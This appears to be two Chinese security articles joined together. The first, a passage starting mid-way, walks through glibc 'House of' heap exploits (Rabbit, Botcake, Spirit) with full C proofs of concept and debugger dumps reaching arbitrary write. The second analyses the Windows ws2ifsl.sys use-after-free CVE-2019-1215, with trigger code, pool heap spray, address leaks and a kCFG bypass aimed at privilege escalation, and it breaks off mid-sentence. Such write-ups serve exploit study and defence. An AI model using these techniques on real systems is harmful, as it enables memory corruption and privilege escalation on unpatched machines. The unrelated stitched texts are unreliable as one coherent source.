0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
#### 6 申请一个超大 chunk，fake_chunk1将链接到 largebin，修改fake_chunk1 size
gbuf[3] = 0xa00001;
malloc(0xa00000);
gbuf[3] = 0xfffffffffffffff1;
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 10485777,
fd = 0x6020f0 <gbuf+16>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0xa20fe1
}
0x1003010 PREV_INUSE {
prev_size = 0,
size = 135153,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
0x80000: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd2348 (main_arena+2088) ◂— 0x6020f0
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000a00011
0x603010: 0x00000000006020f0 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000a20fe1
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0xfffffffffffffff1 <==== 修改fake chunk size
0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348
0x602110 <gbuf+48>: 0x00000000006020f0 0x00000000006020f0
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
#### 7 覆写可控内存，达到内存任意写
malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
strcpy(victim, "Hacked!!");
pwndbg> x/20xg 0x602080-0x10
0x602070: 0x0000000000000000 0x0000000000000021
0x602080 <target>: 0x212164656b636148 0x00007ffff7dd1b00
0x602090 <target+16>: 0x0000000000000000 0x0000000000000051
0x6020a0 <target+32>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0x0000000000000050 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0xffffffffffffff81
0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348
### Glibc 2.26
从Glibc2.26开始加入了tcache，可通过以下代码绕过
void evict_tcache(size_t size){
void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);
#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);
*(void**)p = NULL;
malloc(size);
#else
#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;
#endif
#endif
}
### 利用思路
house of rabbit漏洞可以绕过堆块的地址随机化保护（ASLR）达到 **任意** 地址分配的效果，因此在存在sh的文件中可直接getshell。
## House_of_botcake
### 原理
house of botcake利用手法只需要程序存在double free即可。
首先填充 tcache bin 链表，然后使用malloc从tcache bin链表中取出一个chunk，然后通过二次free将 victim chunk
加入tcache bin链表，然后利用堆块重叠将double free块的fd指针覆写为目标位置，再次malloc即可控制到目标位置，达到任意写操作。
### Poc
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
puts("House of botcake Poc\n\n");
//禁用缓冲并使_FILE_IO不影响堆
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// 准备目标
intptr_t stack_var[4];
printf("目标地址是 %p.\n\n", stack_var);
puts("堆布局构造");
puts("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("为之后的合并申请一个 prev chunk");
intptr_t *prev = malloc(0x100);
puts("申请用于double free的 victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("申请一个填充chunk防止top chunk合并.\n");
malloc(0x10);
puts("接下来可以造成堆块重叠");
puts("Step 1: 填充 tcache bin 链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free victim chunk 并链接到 unsorted bin");
free(a);
puts("Step 3: free prev chunk 使它和 victim chunk 合并.");
free(prev);
puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk，然后通过二次free将 victim chunk 加入tcache bin链表\n");
malloc(0x100);
free(a);
puts("double free 利用完成\n\n");
puts("tcache 毒化");
puts("现在 victim chunk 被包含在一个更大的已释放块中，可以通过利用块重叠进行 tcache 毒化");
intptr_t *b = malloc(0x120);
puts("将 victim chunk 的 fd 指针覆写为目标位置");
b[0x120/8-2] = (long)stack_var;
puts("malloc申请到目标位置.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("新申请的 chunk 位于 %p\n", c);
assert(c==stack_var);
printf("已控制目标位置!\n\n");
return 0;
}
### 分步分析
#### 1 堆内布局构造
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100);
malloc(0x10);
pwndbg> x/50xg 0x555555559f20-0x20
...
0x555555559f00: 0x0000000000000000 0x0000000000000000
0x555555559f10: 0x0000000000000000 0x0000000000000000
0x555555559f20: 0x0000000000000000 0x0000000000000111 <==== victim chunk
0x555555559f30: 0x0000000000000000 0x0000000000000000
0x555555559f40: 0x0000000000000000 0x0000000000000000
0x555555559f50: 0x0000000000000000 0x0000000000000000
0x555555559f60: 0x0000000000000000 0x0000000000000000
0x555555559f70: 0x0000000000000000 0x0000000000000000
0x555555559f80: 0x0000000000000000 0x0000000000000000
0x555555559f90: 0x0000000000000000 0x0000000000000000
0x555555559fa0: 0x0000000000000000 0x0000000000000000
0x555555559fb0: 0x0000000000000000 0x0000000000000000
0x555555559fc0: 0x0000000000000000 0x0000000000000000
0x555555559fd0: 0x0000000000000000 0x0000000000000000
0x555555559fe0: 0x0000000000000000 0x0000000000000000
0x555555559ff0: 0x0000000000000000 0x0000000000000000
0x55555555a000: 0x0000000000000000 0x0000000000000000
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x0000000000000000 0x0000000000000021 <==== 防止合并
0x55555555a040: 0x0000000000000000 0x0000000000000000
0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x0000000000000000
#### 2 填充 tcache bin 链表
for(int i=0; i<7; i++){
free(x[i]);
}
pwndbg> tcachebins
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
#### 3 free victim chunk 并链接到 unsorted bin
free(a);
pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559f20 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559f20
smallbins
empty
largebins
empty
#### 4 free prev chunk 使它和 victim chunk 合并
free(prev);
pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559e10 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559e10 <====== 合并
smallbins
empty
largebins
empty
#### 5 使用malloc从tcache bin链表中取出一个chunk，double free将 victim chunk 加入tcache
bin链表
malloc(0x100);
free(a);
pwndbg> tcachebins
0x110 [ 6]: 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <======== malloc取出
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
pwndbg> tcachebins
0x110 [ 7]: 0x555555559f30 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <====== double free加入
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
#### 6 利用堆块重叠将 victim chunk 的 fd 指针覆写为目标位置
intptr_t *b = malloc(0x120);
b[0x120/8-2] = (long)stack_var;
pwndbg> x/50xg 0x555555559f20-0x20
0x555555559f00: 0x0000000000000000 0x0000000000000000
0x555555559f10: 0x0000000000000000 0x0000000000000000
0x555555559f20: 0x0000000000000000 0x0000000000000111
0x555555559f30: 0x00007fffffffdb00 0x0000555555559010 <==== 堆块重叠，写入fd
0x555555559f40: 0x0000000000000000 0x00000000000000f1
0x555555559f50: 0x00007ffff7faebe0 0x00007ffff7faebe0
0x555555559f60: 0x0000000000000000 0x0000000000000000
0x555555559f70: 0x0000000000000000 0x0000000000000000
...
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x00000000000000f0 0x0000000000000020
0x55555555a040: 0x0000000000000000 0x0000000000000000
0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x0000000000000000
#### 7 malloc申请到目标位置
malloc(0x100);
intptr_t *c = malloc(0x100);
### 利用思路
该利用可以bypass double free的check，达到任意地址写，测试发现glibc2.30版本也可以利用。
## House of Spirit
### 原理
通过伪造fastbin，再将一个目前可用的chunk的指针改写为伪造fastbin地址，将这个chunk
free，相当于free一个假的fastbin堆块，然后再下次malloc的时候就会返回该假堆块。
### Poc
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "House of Spirit Poc\n\n");
fprintf(stderr, "Step1: malloc初始化堆内存\n\n");
malloc(1);
fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的 fastbin 区域\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "\t这片区域 (长度为: %lu) 包含两个 fake chunk.\n", sizeof(fake_chunks));
fprintf(stderr, "\t第一个fake chunk位于 %p\n", &fake_chunks[1]);
fprintf(stderr, "\t第二个fake chunk位于 %p\n", &fake_chunks[9]);
fake_chunks[1] = 0x40;
fprintf(stderr, "\t第二个fake chunk 的size必须大于 2*SIZE_SZ (x64上 > 16) && 小于 av->system_mem，用于绕过nextsize检查\n");
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk %p \n\n", &fake_chunks[1]);
a = &fake_chunks[2];
fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
free(a);
fprintf(stderr, "Step4: malloc申请到fake chunk\n");
fprintf(stderr, "\t再次malloc将会在 %p 返回fake chunk %p \n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}
### 分步分析
#### 1 malloc初始化堆内存
malloc(1);
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/10xg 0x602020-0x20
0x602000: 0x0000000000000000 0x0000000000000021 <==== 改写目标chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
#### 2 覆盖一个堆指针指向伪造的 fastbin 区域
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fake_chunks[1] = 0x40;
fake_chunks[9] = 0x1234; // nextsize
a = &fake_chunks[2];
pwndbg> x/16xg 0x7fffffffdca8
0x7fffffffdca8: 0x0000000000000040 0x00007ffff7ffe168 <==== fake chunk1
0x7fffffffdcb8: 0x0000000000f0b5ff 0x0000000000000001
0x7fffffffdcc8: 0x00000000004008dd 0x00007fffffffdcfe
0x7fffffffdcd8: 0x0000000000000000 0x0000000000400890
0x7fffffffdce8: 0x0000000000001234 0x00007fffffffdde0 <==== fake chunk2
0x7fffffffdcf8: 0xce9b2a14d1359800 0x0000000000400890
0x7fffffffdd08: 0x00007ffff7a2d830 0x0000000000000001
0x7fffffffdd18: 0x00007fffffffdde8 0x00000001f7ffcca0
#### 3 free该堆指针
free(a);
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdca0 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
#### 4 malloc申请到该区域
malloc(0x30);
### tcache
glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时，安全性有所下降
tcache house of
spirit只需伪造一个size区域，然后将伪造的fakechunk释放，再次malloc相应大小就可以得到fake_chunk。
### 利用思路
house_of_spirit可以进行任意地址写，可以改写为system直接getshell，也可以进一步利用。
## 总结
House of系列堆漏洞的分析到这里就结束了，通过gdb单步调试，对堆结构等熟悉了很多。
在glibc版本不断升级的同时，堆内的一些保护不断完善，但与此同时，像tcache这样的新增技术也暴露出新的漏洞，在后期的漏洞挖掘中，对这些新技术的漏洞挖掘应该更加重视。 | 社区文章 |
# CVE-2019-1215：Windows内核ws2ifsl.sys中UAF漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 bluefrostsecurity，文章来源：labs.bluefrostsecurity.de
原文地址：<https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
这篇文章主要介绍ws2ifsl.sys中最近修补的UAF漏洞（CVE-2019-1215），这个漏洞可用于本地特权提升。该漏洞存在于Windows
7、Windows 8、Windows 10、Windows 2008、Windows 2012和Windows
2019中，已于2019年9月10日进行了修补。
这篇文章描述了Windows 10 19H1 (1903) x64上的具体原因分析和利用。这个exploit演示了如何绕过kASLR、kCFG和SMEP。
## 关于ws2ifsl
为了更好的理解这个分析，我们必须介绍一些关于这个驱动程序的背景信息。没有关于这个驱动程序的公开文档，以下大部分信息都是逆向的。ws2ifsl组件是一个与winsocket相关的驱动程序。
驱动程序实现两个对象：
* 一个进程对象
* 一个socket对象
这个驱动实现了几个派遣函数，当调用NtCreateFile时，文件名设置为`\Device\WS2IFSL\`，将调用DispatchCreate函数，函数将根据文件名中的`_FILE_FULL_EA_INFORMATION.EaName`字符串进行判断，如果是NifsPvd，它将调用CreateProcessFile，如果是NifsSct，它将调用CreateSocketFile。
CreateSocketFile和CreateProcessFile函数都创建内部对象，称为“procData”和“socketData”。创建后，这些对象将保存在文件对象的`_FILE_OBJECT.FsContext`中，这个文件对象是在dispatch
routine中创建的。
文件对象可以在用户模式中访问从NtCreateFile返回的句柄对象。该句柄可用于执行DeviceIoControl或调用WriteFile。也就是说“procData”和“sockedData”对象没有直接引用`ObfReferenceObject`和`ObfDereferenceObject`，而是引用了底层的文件对象。
驱动程序实现了两个APC对象，分别称为’request queue’和’cancel
queue’。APC机制是在另一个线程中异步执行函数。因为可以在另一个线程中强制执行多个apc，所以内核实现了一个队列，其中存储所有要执行的apc。
“procData”对象包含这两个APC对象，由CreateProcessFile在initializerqueue和InitializeCancelQueue中初始化。一个APC对象由`KeInitializeApc`初始化，并接收一个目标线程和一个函数作为参数。此外，还设置了处理器模式（内核或用户模式）以及RundownRoutine。如果是ws2ifsl，则RundownRoutine为
RequestRundownRoutine和
CancelRundownRoutine，则处理器模式设置为用户模式。这些RundownRoutine用于清理，如果线程有机会在APC内部执行之前死亡，则由内核调用。之所以会发生这种情况，是因为仅当APC设置为alertable状态时，才进入线程内执行它。例如，如果调用SleepEx时第二个参数设置为TRUE，则可以将线程设置为alertable状态。
驱动程序还在DispatchReadWrite中实现了一个读写dispatch
routine，只能socket对象可访问，并调用DoSocketReadWrite。这个函数通过调用SignalRequest函数使用`nt!KeInsertQueueApc`函数将APC元素添加到APC队列中。
### 与驱动通信
在许多情况下，驱动程序会创建符号链接，并且其名称可用作CreateFileA的文件名
，但是ws2ifsl不是这样。它只能在`nt!IoCreateDevice`的DeviceName设置为
‘DeviceWS2IFSL’的情况下进行调用。但是，通过调用本地API
NtOpenFile，就可以访问派遣函数ws2ifsl!DispatchCreate。以下代码可完成此操作：
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\Device\WS2IFSL");
OBJECT_ATTRIBUTES object;
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock ;
NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);
DispatchCreate函数将检查打开调用的扩展属性。此属性只能通过NtCreateFile系统调用设置。
对于process对象，扩展属性(ea)数据缓冲区必须包含一个属于当前进程的线程句柄，然后我们就有一个设备句柄，可以使用它来做进一步的操作。
## 补丁分析
介绍了背景知识，我们可以进行补丁分析。补丁分析首先对比ws2ifsl未修补版本(10.0.18362.1)和修补版本(10.0.18362.356)。
可以看到修补的函数：
* CreateProcessFile
* DispatchClose
* SignalCancel
* SignalRequest
* RequestRundownRoutine
* CancelRundownRoutine
在以下截图中可以看到：
修补后的版本还包含一个新功能:
* DereferenceProcessContext
最明显的变化是，所有改变的函数都包含对新函数DereferenceProcessContext的调用，如下图所示:
接下来要注意的是’procData’对象扩展了一个新成员，现在使用引用计数。例如，在负责所有初始化的CreateProcessFile中，这个新成员被设置为1。
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->field_100 = 0;
vs
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->dword100 = 0;
procData->referenceCounter = 1i64; // new
DereferenceProcessContex函数检查引用计数，并调用nt!ExFreePoolWithTag返回。
DispatchClose函数也打补丁了，新版本将调用从nt!ExFreePoolWithTag改变到DereferenceProcessContext,这表示，有时（如果引用计数不是零）“procData”不会被释放，只会将其引用计数递减一。
SignalRequest中的修复会在调用`nt!KeInsertQueueApc`之前增加referenceCounter。
BUG在于DispatchClose函数可以释放“procData”对象，即使请求一个已在队列中的APC。每当关闭文件句柄的最后一个引用时(通过调用CloseHandle)，就会调用DispatchClose函数。
补丁通过使用新的referenceCounter来确保缓冲区只有在最后一个引用被删除之后才会被释放。如果是RundownRoutine（包含引用），则在函数末尾删除
DereferenceProcessContext引用。并在调用`nt!KeInsertQueueApc`之前增加引用计数。如果发生错误（可能nt!KeInsertQueueApc会失败），该引用也会被删除（避免内存泄漏）。
### 触发bug
要触发这个bug，只需创建一个“procData”句柄和一个“socketData”句柄，向“socketData”写入一些数据并关闭两个句柄。
线程终止调用APC RundownRoutine，将处理释放的数据。以下代码将触发该BUG：
<..>
in CreateProcessHandle:
g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
eaData->a1 = (void*)g_hThread1; // thread must be in current process
eaData->a2 = (void*)0x2222222; // fake APC Routine
eaData->a3 = (void*)0x3333333; // fake cancel Rundown Routine
eaData->a4 = (void*)0x4444444;
eaData->a5 = (void*)0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
DWORD supSuc = SuspendThread(g_hThread1);
<..>
in main:
HANDLE procHandle = CreateProcessHandle();
HANDLE sockHandle = CreateSocketHandle(procHandle);
char* writeBuffer = (char*) malloc(0x100);
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);
可以在DispatchClose释放处下一个断点来验证：
Breakpoint 2 hit
ws2ifsl!DispatchClose+0x7d:
fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0)
1: kd> db rcx
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
1: kd> g
Breakpoint 0 hit
ws2ifsl!RequestRundownRoutine:
fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> db rcx-30
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
因为`procData`对象已经被释放，所以RundownRoutine将处理释放的数据。在大多数情况下，这不会崩溃，因为数据块没有重新分配。
## Heap Spray
在知道如何触发bug之后，我们接下来就可以利用漏洞。第一步是回收释放的分配。
首先，我们需要知道缓冲区和分配池的大小。
在要释放的缓冲区上使用pool命令，我们可以看到它分配在Nonpaged pool上，大小为0x120字节。
1: kd> !pool ffff8b08905e9910
Pool page ffff8b08905e9910 region is Nonpaged pool
<..>
*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080
Owning component : Unknown (update pooltag.txt)
可以通过查看ws2ifsl!CreateProcessFile中分配的缓冲区来验证：
PAGE:00000001C00079ED mov edx, 108h ; size
PAGE:00000001C00079F2 mov ecx, 200h ; PoolType
PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag
PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
在Nonpaged pool上执行任意大小的可控分配的可靠方法是使用命名管道：Alex Ionescu 在介绍了[此技术](http://alex-ionescu.com/?p=231)。以下代码可用于为多个0x120字节的缓冲区分配用户控制的数据：
int doHeapSpray()
{
for (size_t i = 0; i < 0x5000; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength;
UCHAR payload[0x120 - 0x48];
RtlFillMemory(payload, 0x120 - 0x48, 0x24);
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 0;
}
如果我们将这个堆喷射合并到触发bug的代码中，我们将在`nt!KiInsertQueueApc`中触发一个bug检查。崩溃是由于对“liked
list”操作的安全冲突造成的。
.text:00000001400A58F6 mov rax, [rdx]
.text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx
.text:00000001400A58FD jnz fail_fast
<..>
.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j
.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ...
.text:00000001401DC2EA mov ecx, 3
.text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx)
错误检查刚好在int 29指令处进行。在崩溃检查寄存器时，我们可以看到RAX寄存器指向我们可控的数据。
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
0: kd> dq ffff8b08905e82d0
ffff8b08`905e82d0 24242424`24242424 24242424`24242424
ffff8b08`905e82e0 24242424`24242424 24242424`24242424
ffff8b08`905e82f0 24242424`24242424 24242424`24242424
ffff8b08`905e8300 24242424`24242424 24242424`24242424
ffff8b08`905e8310 24242424`24242424 24242424`24242424
ffff8b08`905e8320 24242424`24242424 24242424`24242424
ffff8b08`905e8330 24242424`24242424 24242424`24242424
ffff8b08`905e8340 24242424`24242424 24242424`24242424
导致崩溃的调用堆栈如下：
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
因为主线程结束而触发了错误检查。之所以会发生这种情况，是因为我们破坏的APC仍然在队列中，并且断开连接的操作可以处理损坏的数据。因为前后指针已损坏并且没有指向有效的链接列表，因此会造成safe
unlinking检查。
### KeRundownApcQueues
使用释放的APC元素的代码需要更改，将其转换为有用的内容。
在触发错误并重写旧的“PRODATA”之后，需要退出APC队列的线程。如果这样做了，内核将调用`nt!KeRundownApcQueues`函数检查`nt!KiFlushQueueApc`!因为它访问损坏的数据。
然而，这一次我们可以控制缓冲区的内容，我们可以避免安全异常，因为链表的有效指针是用一个指向“kthread”内部的值来检查的。假如我们以中等完整性级别（Integrity
Level）运行，那么使用S`ystemHandleInformation`调用`NtQuerySystemInformation`可能会泄漏“kthread”的地址。如果我们使用“kthread”地址来创建回收的“procData”，并且`nt!KeRundownApcQueues`尝试在“procData”对象中执行用户控制的函数指针，就可以避免错误检查。
### 绕过kCFG
在我们控制了想要执行的函数指针之后，还有一个需要克服的小障碍。KASLR不是这个exploit的问题，因为可能会泄漏ntoskrnl基地址。在中等完整性级别下，可以通过NtQuerySystemInformation
/ SystemModuleInformation泄漏所有加载模块的基地址。因此，我们现在至少知道可以将执行转移到何处。
但是，APC函数指针调用由Microsoft实现的CFI内核控制流保护。如果我们调用随机ROP gadget,内核会抛出一个错误检查。
幸运的是，从CFG的角度来看，函数序言都是有效的分支目标，因此我们知道可以调用什么而不必停止。在调用`nt!KeRundownApcQueues`函数指针时，第一个参数（rcx）指向“procData”缓冲区，第二个参数（rdx）为零。
我们可以使用的另一种可能性是通过调用本地函数NtTestAlert来调用APC函数指针。
当使用NtTestAlert调用APC函数指针时，第一个参数(rcx)指向“procData”缓冲区，第二个参数(rdx)也指向它。
在寻找一些小函数，根据给定的约束执行操作之后，我们找到了一个合适的对象：`nt!SeSetAccessStateGenericMapping`。
如下所示，`nt!SeSetAccessStateGenericMapping`可用于执行16字节的任意写入。
不幸的是，这16个字节的后半部分未被完全控制，但是前8个字节是基于堆喷射所提供的数据。
### token覆盖
一旦我们有了一个强大的任意写原语(Primitives)，我们可以做很多事情。在旧的Windows版本中，有很多技术可以将一个任意的写操作转换成一个完整的内核读写原语。在Windows
